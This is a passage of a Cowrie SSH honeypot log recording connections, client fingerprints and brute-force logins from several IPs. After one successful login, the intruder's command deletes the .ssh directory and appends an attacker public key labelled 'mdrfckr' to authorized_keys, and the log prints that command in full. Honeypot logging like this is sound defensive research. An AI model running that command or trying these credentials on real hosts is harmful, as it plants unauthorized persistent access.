{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:50.396832Z","src_ip":"87.106.47.28","session":"3efa8e147eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:50.400793Z","src_ip":"87.106.47.28","session":"fdc6ffae6327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":31780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c17b1fed740","protocol":"ssh","message":"New connection: 177.85.247.230:31780 (10.17.0.5:22) [session: 5c17b1fed740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:55.681784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:55.688084Z","src_ip":"177.85.247.230","session":"5c17b1fed740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:55.834859Z","src_ip":"177.85.247.230","session":"5c17b1fed740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":51908,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d6f4e7ec9f1","protocol":"ssh","message":"New connection: 14.63.196.175:51908 (159.203.135.109:22) [session: 5d6f4e7ec9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:56.093126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:56.097180Z","src_ip":"14.63.196.175","session":"5d6f4e7ec9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aovalle","password":"123456","message":"login attempt [aovalle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:56.240396Z","src_ip":"177.85.247.230","session":"5c17b1fed740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:56.297502Z","src_ip":"14.63.196.175","session":"5d6f4e7ec9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator","message":"login attempt [root/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:56.479955Z","src_ip":"27.71.230.31","session":"4ac5bf594fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiaoli","password":"123456","message":"login attempt [xiaoli/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:57.137498Z","src_ip":"14.63.196.175","session":"5d6f4e7ec9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:57.346655Z","src_ip":"177.85.247.230","session":"5c17b1fed740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:57.801430Z","src_ip":"27.71.230.31","session":"4ac5bf594fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:50:58.345251Z","src_ip":"14.63.196.175","session":"5d6f4e7ec9f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":45454,"dst_ip":"10.17.0.5","dst_port":22,"session":"65d72fddf34c","protocol":"ssh","message":"New connection: 36.92.41.115:45454 (10.17.0.5:22) [session: 65d72fddf34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:01.661008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:01.665621Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:01.921498Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam.","message":"login attempt [steam/steam.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:02.982634Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:03.561108Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:03.569536Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:03.575130Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.103544Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.406533Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.409354Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.672916Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.679210Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":37962,"dst_ip":"10.17.0.5","dst_port":22,"session":"32190595a8c1","protocol":"ssh","message":"New connection: 36.92.41.115:37962 (10.17.0.5:22) [session: 32190595a8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.929828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:04.936942Z","src_ip":"36.92.41.115","session":"32190595a8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:05.193249Z","src_ip":"36.92.41.115","session":"32190595a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.350972414016724,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:05.262296Z","src_ip":"128.199.8.54","session":"51efa3a947b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:06.254678Z","src_ip":"36.92.41.115","session":"32190595a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:07.513468Z","src_ip":"36.92.41.115","session":"32190595a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":53155,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8ff6508c9b","protocol":"ssh","message":"New connection: 36.92.41.115:53155 (10.17.0.5:22) [session: 7d8ff6508c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:07.766952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:07.773051Z","src_ip":"36.92.41.115","session":"7d8ff6508c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:08.037167Z","src_ip":"36.92.41.115","session":"7d8ff6508c9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:09.102654Z","src_ip":"36.92.41.115","session":"7d8ff6508c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:09.361403Z","src_ip":"36.92.41.115","session":"65d72fddf34c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:09.366798Z","src_ip":"36.92.41.115","session":"7d8ff6508c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":55652,"dst_ip":"10.17.0.5","dst_port":22,"session":"1791672f11bf","protocol":"ssh","message":"New connection: 45.78.204.254:55652 (10.17.0.5:22) [session: 1791672f11bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:20.985745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:20.990080Z","src_ip":"45.78.204.254","session":"1791672f11bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:21.238354Z","src_ip":"45.78.204.254","session":"1791672f11bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"237723","message":"login attempt [root/237723] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:23.580113Z","src_ip":"45.78.204.254","session":"1791672f11bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:24.830927Z","src_ip":"45.78.204.254","session":"1791672f11bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":39226,"dst_ip":"10.17.0.5","dst_port":22,"session":"da49472f8c3b","protocol":"ssh","message":"New connection: 163.7.9.84:39226 (10.17.0.5:22) [session: da49472f8c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:25.021240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:25.025922Z","src_ip":"163.7.9.84","session":"da49472f8c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh